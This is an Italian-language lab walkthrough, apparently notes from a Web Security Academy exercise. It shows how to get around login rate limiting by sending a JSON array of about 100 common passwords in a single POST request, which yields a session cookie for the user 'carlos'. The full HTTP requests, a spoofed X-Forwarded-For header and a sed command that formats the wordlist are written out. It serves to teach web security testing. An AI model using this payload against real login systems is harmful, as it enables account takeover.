tags: Bypass_JSON_based Authentication_Bypass
Alle volte i sistemi di difesa ci impediscono di iterare credenziali oltre i 3 tentativi e quando il cambio dell’IP non basta possiamo provare ad inserire la wordlist di password direttamente nella sezione JSON della richiesta in modo tale che il backend processi tutte le nostre password come se fosse un’unica richiesta.
Mettiamo caso che la richiesta originale sia la seguente:
POST /login HTTP/2
Host: 0ad200320456bcdf80bcd0f000020034.web-security-academy.net
Cookie: session=sqqUVS7lIVmvpqBrclBLu3ye7OumhSS4
Content-Length: 41
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: */*
Origin: https://0ad200320456bcdf80bcd0f000020034.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0ad200320456bcdf80bcd0f000020034.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
{"username":"carlos","password":"panino"}Per iterare tutta la nostra wordlist possiamo metterla in un array:
POST /login HTTP/2
Host: 0ad200320456bcdf80bcd0f000020034.web-security-academy.net
Cookie: session=sqqUVS7lIVmvpqBrclBLu3ye7OumhSS4
Content-Length: 1188
X-Forwarded-For: 192.168.1.0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: */*
Origin: https://0ad200320456bcdf80bcd0f000020034.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0ad200320456bcdf80bcd0f000020034.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
{"username":"carlos","password":[
"123456",
"password",
"12345678",
"qwerty",
"123456789",
"12345",
"1234",
"111111",
"1234567",
"dragon",
"123123",
"baseball",
"abc123",
"football",
"monkey",
"letmein",
"shadow",
"master",
"666666",
"qwertyuiop",
"123321",
"mustang",
"1234567890",
"michael",
"654321",
"superman",
"1qaz2wsx",
"7777777",
"121212",
"000000",
"qazwsx",
"123qwe",
"killer",
"trustno1",
"jordan",
"jennifer",
"zxcvbnm",
"asdfgh",
"hunter",
"buster",
"soccer",
"harley",
"batman",
"andrew",
"tigger",
"sunshine",
"iloveyou",
"2000",
"charlie",
"robert",
"thomas",
"hockey",
"ranger",
"daniel",
"starwars",
"klaster",
"112233",
"george",
"computer",
"michelle",
"jessica",
"pepper",
"1111",
"zxcvbn",
"555555",
"11111111",
"131313",
"freedom",
"777777",
"pass",
"maggie",
"159753",
"aaaaaa",
"ginger",
"princess",
"joshua",
"cheese",
"amanda",
"summer",
"love",
"ashley",
"nicole",
"chelsea",
"biteme",
"matthew",
"access",
"yankees",
"987654321",
"dallas",
"austin",
"thunder",
"taylor",
"matrix",
"mobilemail",
"mom",
"monitor",
"monitoring",
"montana",
"moon",
"moscow"
]
}In questo modo proverà tutte le password in un’unica richiesta, infatti la risposta è la seguente:
HTTP/2 302 Found
Location: /my-account?id=carlos
Set-Cookie: session=Ea6V7X62vDljcJ2aZXJ26NcSiUnUE2Iz; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0Ora ci basta o copiare il cookie nel nostro browser oppure cliccare col tasto destro sulla risposta in Burp Suite e selezionare “Request in browser → In original session” per accedere direttamente all’account.
Formattare la wordlist
Per formattare la wordlist tra "" e , possiamo utilizzare il seguente comando:
sed 's/.*/"&",/' wordlist.txt > password_formattate.txtFai attenzione ad inserirla nella richiesta perchè l’ultima parola della wordlist non vuole la virgola dopo di essa, JSON è molto schizzinoso in queste cose.